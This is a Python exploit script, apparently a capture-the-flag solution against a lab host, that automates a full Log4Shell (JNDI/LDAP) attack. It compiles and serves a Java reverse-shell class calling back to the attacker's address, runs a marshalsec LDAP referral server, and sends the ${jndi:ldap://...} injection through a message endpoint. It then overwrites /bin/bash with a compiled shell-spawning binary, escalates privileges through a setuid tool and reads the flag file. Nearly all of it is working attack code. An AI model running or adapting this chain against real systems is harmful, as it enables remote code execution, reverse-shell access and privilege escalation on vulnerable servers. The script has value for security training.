#!/usr/bin/env python

# THE BASE OF THIS FILE WAS AUTOMATICALLY GENERATED BY template.py, for more information, visit
# https://git.romanh.de/Roman/HackingScripts

import os
import io
import re
import sys
import json
import time
import base64
import requests
import subprocess
import urllib.parse
from bs4 import BeautifulSoup
from hackingscripts import util, rev_shell
from hackingscripts.fileserver import HttpFileServer
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

import signal
import threading

IP_ADDRESS = util.get_address()
BASE_URL = "https://7e11237e-9c61-46e2-92ca-cf53299a0447.idocker.vuln.land" if "LOCAL" not in sys.argv else "http://127.0.0.1:1337"
PROXIES = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}

def request(method, uri, **kwargs):
    if not uri.startswith("/") and uri != "":
        uri = "/" + uri

    client = requests
    if "session" in kwargs:
        client = kwargs["session"]
        del kwargs["session"]
    
    if "allow_redirects" not in kwargs:
        kwargs["allow_redirects"] = False
    
    if "verify" not in kwargs:
        kwargs["verify"] = False

    if "proxies" not in kwargs:
        kwargs["proxies"] = PROXIES
    
    url = BASE_URL + uri
    return client.request(method, url, **kwargs)

def compile_java(shell_port):
    java_code = f"""
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;

public class Exploit {{

    public Exploit() throws Exception {{
        String host = "{IP_ADDRESS}";
        int port = {shell_port};
        String cmd = "/bin/sh";
        Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
        Socket s = new Socket(host,port);
        InputStream pi=p.getInputStream(),
            pe = p.getErrorStream(),
            si = s.getInputStream();
        OutputStream po = p.getOutputStream(), so = s.getOutputStream();
        while (!s.isClosed()) {{
            while (pi.available() > 0)
                so.write(pi.read());
            while (pe.available() > 0)
                so.write(pe.read());
            while (si.available() > 0)
                po.write(si.read());
            so.flush();
            po.flush();
            Thread.sleep(50);
            try {{
                p.exitValue();
                break;
            }} catch (Exception e) {{
            }}
        }}
        p.destroy();
        s.close();
    }}
}}
"""

    with open("Exploit.java", "w") as f:
        f.write(java_code)
    
    subprocess.run(["javac", "Exploit.java"])
    with open("Exploit.class", "rb") as f:
        java_class = f.read()
    
    os.remove("Exploit.java")
    os.remove("Exploit.class")
    return java_class

def send_message(msg):
    json_data = { "name": "", "message": msg }
    res = request("POST", "/up/sendmessage", json=json_data)
    util.assert_status_code(res, 200)

def get_privesc_code():
    c_code = b"""#include <stdio.h>
#include <unistd.h>
int main() {
    printf(\"Spawning a shell with -p parameter...\");
    char *shell = \"/bin/sh\"; 
    char *args[] = {shell, \"-p\", NULL};
    execve(shell, args, NULL);
    return 0; 
}
"""

    return base64.b64encode(c_code).decode()

if __name__ == "__main__":

    http_Port = 8000
    shell_port = 9001
    java_payload = compile_java(shell_port)
    file_server = HttpFileServer("0.0.0.0", http_Port)
    file_server.addFile("Exploit.class", java_payload)
    file_server.enableLogging()
    file_server.startBackground()

    payload = f"${{jndi:ldap://{IP_ADDRESS}:1389/b}}"
    payload_url = file_server.get_full_url("#Exploit", ip_addr=IP_ADDRESS)
    ldap_process = None

    def spawn_ldap_server():
        global ldap_process
        ldap_process = subprocess.Popen([
            "java",
            "-cp",
            os.path.join("marshalsec-0.0.3-SNAPSHOT-all.jar"),
            "marshalsec.jndi.LDAPRefServer",
            payload_url
        ])
        ldap_process.wait()

    print("[ ] Starting LDAP Server")
    ldap_thread = threading.Thread(target=spawn_ldap_server)
    ldap_thread.start()

    print("[ ] Triggering log4j shell")
    shell = rev_shell.trigger_background_shell(lambda: send_message(payload), shell_port)
    shell.os = "unix"
    print("[+] Got shell!")

    privesc = get_privesc_code()
    commands = [
        f"echo {privesc} | base64 -d > /tmp/shell.c && gcc /tmp/shell.c -o /bin/bash",
        "/santas-workshop/tool",
        "s",
        "cat /home/santa/flag.txt",
        "exit"
    ]
    for cmd in commands:
        shell.sendline(cmd)
        time.sleep(0.5)

    print("[+] Flag:", shell.raw_output.decode())
    shell.close()

    print("[ ] Stopping listeners...")
    file_server.stop()
    ldap_process.send_signal(signal.SIGINT)
    ldap_thread.join()